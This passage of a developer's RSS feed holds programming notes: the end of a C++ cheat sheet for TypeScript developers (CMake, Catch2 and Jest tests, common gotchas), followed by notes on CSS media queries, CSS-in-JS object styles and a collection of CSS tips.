add_executable(tests tests/test_main.cpp)
add_test(NAME MyTests COMMAND tests)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Build
mkdir build &amp;amp;&amp;amp; cd build
cmake ..
cmake --build .

# Run
./myapp
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Testing (Catch2)&lt;/h2&gt;
&lt;h3&gt;TypeScript (Jest)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;describe(&apos;math&apos;, () =&amp;gt; {
    it(&apos;adds numbers&apos;, () =&amp;gt; {
        expect(add(1, 2)).toBe(3)
    })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;C++ (Catch2)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#define CATCH_CONFIG_MAIN
#include &amp;lt;catch2/catch.hpp&amp;gt;

TEST_CASE(&quot;Math operations&quot;, &quot;[math]&quot;) {
    SECTION(&quot;addition&quot;) {
        REQUIRE(add(1, 2) == 3);
        REQUIRE(add(-1, 1) == 0);
    }

    SECTION(&quot;division&quot;) {
        REQUIRE(divide(10, 2) == 5);
        REQUIRE_THROWS_AS(divide(1, 0), std::runtime_error);
    }
}

// Parameterized tests
TEST_CASE(&quot;Addition with parameters&quot;) {
    auto [a, b, expected] = GENERATE(table&amp;lt;int, int, int&amp;gt;({
        {1, 2, 3},
        {0, 0, 0},
        {-1, 1, 0}
    }));

    REQUIRE(add(a, b) == expected);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Common gotchas for TS developers&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Compilation required&lt;/strong&gt; - no REPL-like experience&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Memory management&lt;/strong&gt; - use smart pointers, avoid raw &lt;code&gt;new&lt;/code&gt;/&lt;code&gt;delete&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No garbage collection&lt;/strong&gt; - resources must be released&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Headers vs source&lt;/strong&gt; - declarations in &lt;code&gt;.h&lt;/code&gt;, definitions in &lt;code&gt;.cpp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;#include&lt;/code&gt; is text substitution&lt;/strong&gt; - use include guards&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pass by value copies&lt;/strong&gt; - use &lt;code&gt;const&amp;amp;&lt;/code&gt; for efficiency&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Undefined behaviour&lt;/strong&gt; - accessing out-of-bounds, null pointers, etc.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Iterators not indices&lt;/strong&gt; - STL uses iterator pattern&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;std::string&lt;/code&gt; is not &lt;code&gt;const char*&lt;/code&gt;&lt;/strong&gt; - two different types&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No reflection&lt;/strong&gt; - no runtime type info like TypeScript&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;// Include guard
#ifndef MY_CLASS_H
#define MY_CLASS_H

class MyClass {
    // ...
};

#endif

// Or modern (most compilers)
#pragma once

class MyClass {
    // ...
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Resources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.learncpp.com/&quot;&gt;Learn C++&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.cppreference.com/&quot;&gt;C++ Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://isocpp.github.io/CppCoreGuidelines/&quot;&gt;C++ Core Guidelines&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://godbolt.org/&quot;&gt;Compiler Explorer (Godbolt)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cppinsights.io/&quot;&gt;C++ Insights&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>cpp</category><category>typescript</category><category>cheatsheet</category><author>Zander Martineau</author></item><item><title>CSS Media Queries</title><link>https://zander.wtf/notes/css-media-queries/</link><guid isPermaLink="true">https://zander.wtf/notes/css-media-queries/</guid><description>light-level This feature isn’t available in any browsers at the time of writing, but it definitely sounds like a future favourite. With the light-level…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;light-level&lt;/h2&gt;
&lt;p&gt;This feature isn’t available in any browsers at the time of writing, but it definitely sounds like a future favourite. With the &lt;a href=&quot;https://drafts.csswg.org/mediaqueries-5/#light-level&quot;&gt;&lt;code&gt;light-level&lt;/code&gt;&lt;/a&gt; media query, you can tune your styles based on whether your user is viewing your web app outside in daylight, or perhaps checking in before going to bed. This is great news for anyone who has ever tried to read their phone in the park, or check out a website at night!&lt;/p&gt;
&lt;p&gt;There are three available values – &lt;code&gt;dim&lt;/code&gt;, &lt;code&gt;normal&lt;/code&gt; (the default), and &lt;code&gt;washed&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here’s an example where we change some CSS custom properties:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@media (light-level: dim) {
  :root {
    --text-color: white;
    --background-color: black;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Read more at &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@media/light-level&quot;&gt;MDN&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;inverted-colors&lt;/h2&gt;
&lt;p&gt;Currently supported in Safari (and Safari on iOS).&lt;/p&gt;
&lt;p&gt;The value is boolean, so &lt;code&gt;none&lt;/code&gt; and &lt;code&gt;inverted&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@media (inverted-colors) {
  img {
    filter: invert(1);
  }
  * {
    box-shadow: none !important;
    text-shadow: none !important;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@media/inverted-colors&quot;&gt;Read more at MDN.&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Preferences, preferences, preferences&lt;/h2&gt;
&lt;p&gt;The fifth level of CSS media queries also has a huge focus on personalization. It introduces no fewer than five distinct media queries that lets you tweak your website to whatever the user prefers!&lt;/p&gt;
&lt;h3&gt;prefers-color-scheme&lt;/h3&gt;
&lt;p&gt;This feature is already widely supported in browsers, and has three possible values – &lt;code&gt;light&lt;/code&gt;, &lt;code&gt;dark&lt;/code&gt;, and &lt;code&gt;no-preference&lt;/code&gt;. Here’s an example where we change the background colour of the site based on preference:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@media (prefers-color-scheme: dark) {
  body {
    background: #1e1e1e;
    color: white;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-color-scheme&quot;&gt;Read more at MDN.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;a href=&quot;http://caniuse.com/#feat=prefers-color-scheme&quot;&amp;gt;
&amp;lt;picture&amp;gt;
&amp;lt;source type=&quot;image/webp&quot; srcset=&quot;https://caniuse.bitsofco.de/image/prefers-color-scheme.webp&quot;/&amp;gt;
&amp;lt;img src=&quot;https://caniuse.bitsofco.de/image/prefers-color-scheme.png&quot; alt=&quot;Data on support for the prefers-color-scheme feature across the major browsers from caniuse.com&quot;/&amp;gt;
&amp;lt;/picture&amp;gt;
&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;h4&gt;&lt;code&gt;color-scheme&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;The &lt;code&gt;color-scheme&lt;/code&gt; CSS property and the corresponding meta tag allow developers to opt their pages in to the theme-specific defaults of the user agent stylesheet.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;color-scheme&quot; content=&quot;dark light&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/*
  The page supports both dark and light color schemes,
  and the page author prefers dark.
*/
:root {
  color-scheme: dark light;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://web.dev/color-scheme/&quot;&gt;Read more at web.dev&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;prefers-contrast&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;prefers-contrast&lt;/code&gt; media query lets you cater to users who prefer high contrast content compared to your original design.&lt;/p&gt;
&lt;p&gt;There’s two values here - &lt;code&gt;no-preference&lt;/code&gt; and &lt;code&gt;high&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@media (prefers-contrast) {
  :root {
    --text-color: black;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-contrast&quot;&gt;Read more at MDN.&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;prefers-reduced-motion&lt;/h3&gt;
&lt;p&gt;With the &lt;code&gt;prefers-reduced-motion&lt;/code&gt; media query, you can respect that wish as well. Use it to reduce those “bouncy” animations, fading images and “fun” transitions a bit. Note that you don’t necessarily have to remove all movement, but reduce it.&lt;/p&gt;
&lt;p&gt;Browser support is pretty good. The value is boolean, so &lt;code&gt;no-preference&lt;/code&gt; or &lt;code&gt;reduce&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@media (prefers-reduced-motion) {
  * {
    transition-duration: 0.05s;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;a href=&quot;http://caniuse.com/#feat=prefers-reduced-motion&quot;&amp;gt;
&amp;lt;picture&amp;gt;
&amp;lt;source type=&quot;image/webp&quot; srcset=&quot;https://caniuse.bitsofco.de/image/prefers-reduced-motion.webp&quot;/&amp;gt;
&amp;lt;img src=&quot;https://caniuse.bitsofco.de/image/prefers-reduced-motion.png&quot; alt=&quot;Data on support for the prefers-reduced-motion feature across the major browsers from caniuse.com&quot;/&amp;gt;
&amp;lt;/picture&amp;gt;
&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;h3&gt;prefers-reduced-transparency&lt;/h3&gt;
&lt;p&gt;Some operating systems offer an option to reduce the amount of translucent layering effects used by the system. Although not supported by any browsers yet, the &lt;code&gt;prefers-reduced-transparency&lt;/code&gt; media query is aiming to help you cater to those users.&lt;/p&gt;
&lt;p&gt;The value is boolean, so &lt;code&gt;no-preference&lt;/code&gt; and &lt;code&gt;reduce&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@media (prefers-reduced-transparency) {
  .floating-box {
    opacity: 1;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-transparency&quot;&gt;Read more at MDN.&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;prefers-reduced-data&lt;/h3&gt;
&lt;p&gt;The value is boolean, so &lt;code&gt;no-preference&lt;/code&gt; and &lt;code&gt;reduce&lt;/code&gt; are the values.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@media (prefers-reduced-data) {
  .hero-image {
    background-image: none;
    background-color: salmon;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-data&quot;&gt;Read more at MDN.&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;pointer&lt;/h3&gt;
&lt;p&gt;The pointer CSS media feature tests whether the user has a pointing device (such as a mouse), and if so, how accurate the primary pointing device is.&lt;/p&gt;
&lt;p&gt;Possible values are &lt;code&gt;coarse&lt;/code&gt;, &lt;code&gt;fine&lt;/code&gt; or &lt;code&gt;none&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@media (pointer: coarse) {
  .hero-image {
    background-image: none;
    background-color: salmon;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@media/pointer&quot;&gt;Read more at MDN.&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;hover and any-hover&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;hover&lt;/code&gt; CSS media feature can be used to test whether the user&apos;s primary input mechanism can hover over elements. The &lt;code&gt;any-hover&lt;/code&gt; CSS media feature can be used to test whether any available input mechanism can hover over elements.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@media (hover: none) {
  /* do something when hover *IS NOT* available */
}

.cta {
}

@media (hover: hover) {
  /* do something when hover *IS* available */
  .cta:hover {
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you&apos;d like the query to be slightly broader to test if any available input can hover you can use the any-hover query instead.&lt;/p&gt;
&lt;p&gt;This will apply to devices that allow for both touch and the connection of a pointer device like a mouse.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.cta {
}

@media (any-hover: hover) {
  /* do something when hover *IS* available */
  .cta:hover {
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@media/hover&quot;&gt;Read more at MDN.&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>CSS Object styles</title><link>https://zander.wtf/notes/css-object-styles/</link><guid isPermaLink="true">https://zander.wtf/notes/css-object-styles/</guid><description>Instead of writing css properties in kebab-case like regular css, you write them in camelCase, for example background-color would be backgroundColor.…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Instead of writing css properties in &lt;code&gt;kebab-case&lt;/code&gt; like regular css, you write them in &lt;code&gt;camelCase&lt;/code&gt;, for example &lt;code&gt;background-color&lt;/code&gt; would be &lt;code&gt;backgroundColor&lt;/code&gt;. Object styles are especially useful with the css prop because you don&apos;t need a css call like with string styles but object styles can also be used with styled.&lt;/p&gt;
&lt;p&gt;Worth saying up front: the runtime CSS-in-JS era this note comes from (Emotion, Theme UI) has largely fallen out of favour — runtime styles don&apos;t work with React Server Components. The zero-runtime successors (vanilla-extract, Panda CSS, Linaria, StyleX) or plain CSS/Tailwind are the usual picks now. The camelCase object syntax below is still accurate for any lib that uses it, though.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://theme-ui.com/guides/object-styles&lt;/li&gt;
&lt;li&gt;https://emotion.sh/docs/object-styles&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;a href=&quot;https://theme-ui.com/guides/object-styles#pseudo-elements&quot;&gt;Pseudo elements&lt;/a&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;{
  &apos;&amp;amp;::before&apos;: {
    content: &apos;&quot;&quot;&apos;,
    display: &apos;block&apos;,
    width: 32,
    height: 32,
    backgroundColor: &apos;tomato&apos;,
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Media queries&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{
  color: &apos;darkorchid&apos;,
  &apos;@media(min-width: 420px)&apos;: {
    color: &apos;orange&apos;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Numbers&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{
  padding: 8,
  zIndex: 200
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Vendor prefixes&lt;/h3&gt;
&lt;p&gt;Prefixes for interface names are upper-cased in object styles, e.g. &lt;code&gt;WebkitTextStrokeColor&lt;/code&gt; for &lt;code&gt;-webkit-text-stroke-color&lt;/code&gt; (there is no unprefixed &lt;code&gt;text-stroke&lt;/code&gt; — only the &lt;code&gt;-webkit-&lt;/code&gt; version exists):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  WebkitTextStrokeColor: &apos;red&apos;,
  WebkitTextStrokeWidth: &apos;1px&apos;,
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><category>css</category><category>javascript</category><author>Zander Martineau</author></item><item><title>CSS Protips</title><link>https://zander.wtf/notes/css-protips/</link><guid isPermaLink="true">https://zander.wtf/notes/css-protips/</guid><description>A collection of tips to help take your CSS skills pro. Use a CSS Reset CSS resets help enforce style consistency across different browsers with a clean…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A collection of tips to help take your CSS skills pro.&lt;/p&gt;
&lt;h2&gt;Use a CSS Reset&lt;/h2&gt;
&lt;p&gt;CSS resets help enforce style consistency across different browsers with a clean slate for styling elements. You can use a CSS reset library like &lt;a href=&quot;http://necolas.github.io/normalize.css/&quot;&gt;Normalize&lt;/a&gt;, &lt;em&gt;et al.&lt;/em&gt;, or you can use a more simplified reset approach:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*,
*::before,
*::after {
  box-sizing: border-box;
  margin: 0;
  padding: 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now elements will be stripped of margins and padding, and &lt;code&gt;box-sizing&lt;/code&gt; lets you manage layouts with the CSS box model.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://codepen.io/AllThingsSmitty/pen/kkrkLL&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you follow the &lt;a href=&quot;#inherit-box-sizing&quot;&gt;Inherit &lt;code&gt;box-sizing&lt;/code&gt;&lt;/a&gt; tip below you might opt to not include the &lt;code&gt;box-sizing&lt;/code&gt; property in your CSS reset.&lt;/p&gt;
&lt;h2&gt;Inherit &lt;code&gt;box-sizing&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Let &lt;code&gt;box-sizing&lt;/code&gt; be inherited from &lt;code&gt;html&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;html {
  box-sizing: border-box;
}

*,
*::before,
*::after {
  box-sizing: inherit;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This makes it easier to change &lt;code&gt;box-sizing&lt;/code&gt; in plugins or other components that leverage other behaviour.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Use &lt;code&gt;unset&lt;/code&gt; Instead of Resetting All Properties&lt;/h2&gt;
&lt;p&gt;When resetting an element&apos;s properties, it&apos;s not necessary to reset each individual property:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;button {
  background: none;
  border: none;
  color: inherit;
  font: inherit;
  outline: none;
  padding: 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can specify all of an element&apos;s properties using the &lt;code&gt;all&lt;/code&gt; shorthand. Setting the value to &lt;code&gt;unset&lt;/code&gt; changes an element&apos;s properties to their initial values:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;button {
  all: unset;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; the &lt;code&gt;all&lt;/code&gt; shorthand isn&apos;t supported in IE11 and is currently under consideration for support in Edge. &lt;code&gt;unset&lt;/code&gt; isn&apos;t supported in IE11.&lt;/p&gt;
&lt;h2&gt;Use &lt;code&gt;:not()&lt;/code&gt; to Apply/Unapply Borders on Navigation&lt;/h2&gt;
&lt;p&gt;Instead of putting on the border...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* add border */
.nav li {
  border-right: 1px solid #666;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;...and then taking it off the last element...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* remove border */
.nav li:last-child {
  border-right: none;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;...use the &lt;code&gt;:not()&lt;/code&gt; pseudo-class to only apply to the elements you want:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.nav li:not(:last-child) {
  border-right: 1px solid #666;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, the CSS selector is read as a human would describe it.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://codepen.io/AllThingsSmitty/pen/LkymvO&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Check If Font Is Installed Locally&lt;/h2&gt;
&lt;p&gt;You can check if a font is installed locally before fetching it remotely, which is a good performance tip, too.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@font-face {
  font-family: &apos;Dank Mono&apos;;
  src:
    /* Full name */ local(&apos;Dank Mono&apos;), /* Postscript name */ local(&apos;Dank Mono&apos;),
    /* Otherwise, download it! */ url(&apos;//...a.server/fonts/DankMono.woff&apos;);
}

code {
  font-family: &apos;Dank Mono&apos;, system-ui-monospace;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;H/T to Adam Argyle for sharing this protip and &lt;a href=&quot;https://codepen.io/argyleink/pen/VwYJpgR&quot;&gt;demo&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Add &lt;code&gt;line-height&lt;/code&gt; to &lt;code&gt;body&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;You don&apos;t need to add &lt;code&gt;line-height&lt;/code&gt; to each &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;h*&amp;gt;&lt;/code&gt;, &lt;em&gt;et al&lt;/em&gt;. separately. Instead, add it to &lt;code&gt;body&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;body {
  line-height: 1.5;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This way textual elements can inherit from &lt;code&gt;body&lt;/code&gt; easily.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://codepen.io/AllThingsSmitty/pen/VjbdYd&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Set &lt;code&gt;:focus&lt;/code&gt; for Form Elements&lt;/h2&gt;
&lt;p&gt;Sighted keyboard users rely on focus to determine where keyboard events go in the page. Make focus for form elements stand out and consistent then a browser&apos;s default implementation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a:focus,
button:focus,
input:focus,
select:focus,
textarea:focus {
  box-shadow: none;
  outline: #000 dotted 2px;
  outline-offset: 0.05em;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://codepen.io/AllThingsSmitty/pen/ePzoOP/&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Vertically-Center Anything&lt;/h2&gt;
&lt;p&gt;No, it&apos;s not black magic, you really can center elements vertically. You can do this with flexbox...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;html,
body {
  height: 100%;
  margin: 0;
}

body {
  align-items: center;
  display: flex;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;...and also with CSS Grid:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;body {
  display: grid;
  height: 100vh;
  margin: 0;
  place-items: center center;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Want to center something else? Vertically, horizontally...anything, anytime, anywhere? CSS-Tricks has &lt;a href=&quot;https://css-tricks.com/centering-css-complete-guide/&quot;&gt;a nice write-up&lt;/a&gt; on doing all of that.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Watch for some &lt;a href=&quot;https://github.com/philipwalton/flexbugs#3-min-height-on-a-flex-container-wont-apply-to-its-flex-items&quot;&gt;buggy behaviour&lt;/a&gt; with flexbox in IE11.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://codepen.io/AllThingsSmitty/pen/GqmGqZ&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Comma-Separated Lists&lt;/h2&gt;
&lt;p&gt;Make list items look like a real, comma-separated list:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ul &amp;gt; li:not(:last-child)::after {
  content: &apos;,&apos;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use the &lt;code&gt;:not()&lt;/code&gt; pseudo-class and no comma will be added to the last item.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This tip may not be ideal for accessibility, specifically screen readers. And copy/paste from the browser doesn&apos;t work with CSS-generated content. Proceed with caution.&lt;/p&gt;
&lt;h2&gt;Select Items Using Negative &lt;code&gt;nth-child&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Use negative &lt;code&gt;nth-child&lt;/code&gt; in CSS to select items 1 through n.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;li {
  display: none;
}

/* select items 1 through 3 and display them */
li:nth-child(-n + 3) {
  display: block;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or, since you&apos;ve already learned a little about &lt;a href=&quot;#use-not-to-applyunapply-borders-on-navigation&quot;&gt;using &lt;code&gt;:not()&lt;/code&gt;&lt;/a&gt;, try:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* select all items except the first 3 and display them */
li:not(:nth-child(-n + 3)) {
  display: block;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;http://codepen.io/AllThingsSmitty/pen/WxjKZp&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Use SVG for Icons&lt;/h2&gt;
&lt;p&gt;There&apos;s no reason not to use SVG for icons:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.logo {
  background: url(&apos;logo.svg&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SVG scales well for all resolution types and is supported in all browsers &lt;a href=&quot;http://caniuse.com/#search=svg&quot;&gt;back to IE9&lt;/a&gt;. Ditch your .png, .jpg, or .gif-jif-whatev files.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you have SVG icon-only buttons for sighted users and the SVG fails to load, this will help maintain accessibility:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.no-svg .icon-only::after {
  content: attr(aria-label);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Use the &quot;Lobotomized Owl&quot; Selector&lt;/h2&gt;
&lt;p&gt;It may have a strange name but using the universal selector (&lt;code&gt;*&lt;/code&gt;) with the adjacent sibling selector (&lt;code&gt;+&lt;/code&gt;) can provide a powerful CSS capability:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;* + * {
  margin-top: 1.5em;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this example, all elements in the flow of the document that follow other elements will receive &lt;code&gt;margin-top: 1.5em&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For more on the &quot;lobotomized owl&quot; selector, read &lt;a href=&quot;http://alistapart.com/article/axiomatic-css-and-lobotomized-owls&quot;&gt;Heydon Pickering&apos;s post&lt;/a&gt; on &lt;em&gt;A List Apart&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://codepen.io/AllThingsSmitty/pen/grRvWq&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Use &lt;code&gt;max-height&lt;/code&gt; for Pure CSS Sliders&lt;/h2&gt;
&lt;p&gt;Implement CSS-only sliders using &lt;code&gt;max-height&lt;/code&gt; with overflow hidden:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.slider {
  max-height: 200px;
  overflow-y: hidden;
  width: 300px;
}

.slider:hover {
  max-height: 600px;
  overflow-y: scroll;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The element expands to the &lt;code&gt;max-height&lt;/code&gt; value on hover and the slider displays as a result of the overflow.&lt;/p&gt;
&lt;h2&gt;Equal-Width Table Cells&lt;/h2&gt;
&lt;p&gt;Tables can be a pain to work with. Try using &lt;code&gt;table-layout: fixed&lt;/code&gt; to keep cells at equal width:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.calendar {
  table-layout: fixed;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Pain-free table layouts.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://codepen.io/AllThingsSmitty/pen/jALALm&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Get Rid of Margin Hacks With Flexbox&lt;/h2&gt;
&lt;p&gt;When working with column gutters you can get rid of &lt;code&gt;nth-&lt;/code&gt;, &lt;code&gt;first-&lt;/code&gt;, and &lt;code&gt;last-child&lt;/code&gt; hacks by using flexbox&apos;s &lt;code&gt;space-between&lt;/code&gt; property:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.list {
  display: flex;
  justify-content: space-between;
}

.list .person {
  flex-basis: 23%;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now column gutters always appear evenly-spaced.&lt;/p&gt;
&lt;h2&gt;Use Attribute Selectors with Empty Links&lt;/h2&gt;
&lt;p&gt;Display links when the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; element has no text value but the &lt;code&gt;href&lt;/code&gt; attribute has a link:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a[href^=&apos;http&apos;]:empty::before {
  content: attr(href);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s pretty convenient.&lt;/p&gt;
